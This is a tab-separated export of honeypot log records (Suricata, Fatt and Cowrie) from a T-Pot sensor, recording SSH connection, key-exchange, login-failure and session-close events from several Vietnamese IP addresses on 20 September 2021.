23273	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:07:13.883352+03	2021-09-20 14:15:07.295472+03	{"_id": "QwbjAnwBvYTbRNuEdgj0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1887124532098637, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 40486, "dest_port": 22, "timestamp": "2021-09-20T11:07:13.883352Z", "@timestamp": "2021-09-20T11:07:13.883Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23274	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:13.045608+03	2021-09-20 14:15:07.296471+03	{"_id": "RwbjAnwBvYTbRNuEdwi3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 48522, "dest_port": 22, "timestamp": "2021-09-20T11:07:13.045608", "@timestamp": "2021-09-20T11:07:13.045Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23275	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:13.296856+03	2021-09-20 14:15:07.298472+03	{"_id": "SAbjAnwBvYTbRNuEdwi3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 49912, "dest_port": 22, "timestamp": "2021-09-20T11:07:13.296856", "@timestamp": "2021-09-20T11:07:13.296Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
23277	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:13.269511+03	2021-09-20 14:15:07.30147+03	{"_id": "VAbjAnwBvYTbRNuEeAhf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 14 seconds", "session": "41c8f72263d6", "@version": "1", "duration": 14.151211977005005, "timestamp": "2021-09-20T11:07:13.269511Z", "@timestamp": "2021-09-20T11:07:13.269Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23278	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:13.603529+03	2021-09-20 14:15:07.30247+03	{"_id": "VQbjAnwBvYTbRNuEeAhr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:40486 (192.168.176.2:22) [session: 1ae7cea2d161]", "session": "1ae7cea2d161", "@version": "1", "protocol": "ssh", "src_port": 40486, "dest_port": 22, "timestamp": "2021-09-20T11:07:13.603529Z", "@timestamp": "2021-09-20T11:07:13.603Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23279	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:13.971314+03	2021-09-20 14:15:07.303471+03	{"_id": "VgbjAnwBvYTbRNuEeAhr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:60514 (192.168.176.2:22) [session: 6f1c7e7ae25d]", "session": "6f1c7e7ae25d", "@version": "1", "protocol": "ssh", "src_port": 60514, "dest_port": 22, "timestamp": "2021-09-20T11:07:13.971314Z", "@timestamp": "2021-09-20T11:07:13.971Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
23280	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:13.297207+03	2021-09-20 14:15:07.30447+03	{"_id": "XAbjAnwBvYTbRNuEeAhr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "3ac7616fff16", "@version": "1", "timestamp": "2021-09-20T11:07:13.297207Z", "@timestamp": "2021-09-20T11:07:13.297Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
23281	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:13.60648+03	2021-09-20 14:15:07.306471+03	{"_id": "XQbjAnwBvYTbRNuEeAhr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "1ae7cea2d161", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:13.606480Z", "@timestamp": "2021-09-20T11:07:13.606Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23282	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:13.77327+03	2021-09-20 14:15:07.307471+03	{"_id": "XgbjAnwBvYTbRNuEeAhr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [print/print] failed", "session": "a81fee7a5d8a", "@version": "1", "password": "print", "username": "print", "timestamp": "2021-09-20T11:07:13.773270Z", "@timestamp": "2021-09-20T11:07:13.773Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23283	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:13.884956+03	2021-09-20 14:15:07.308471+03	{"_id": "XwbjAnwBvYTbRNuEeAhr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "1ae7cea2d161", "@version": "1", "timestamp": "2021-09-20T11:07:13.884956Z", "@timestamp": "2021-09-20T11:07:13.884Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23284	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:14.086627+03	2021-09-20 14:15:07.310471+03	{"_id": "YAbjAnwBvYTbRNuEeAhr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "3e99a7cbb34b", "@version": "1", "duration": 2.6073057651519775, "timestamp": "2021-09-20T11:07:14.086627Z", "@timestamp": "2021-09-20T11:07:14.086Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
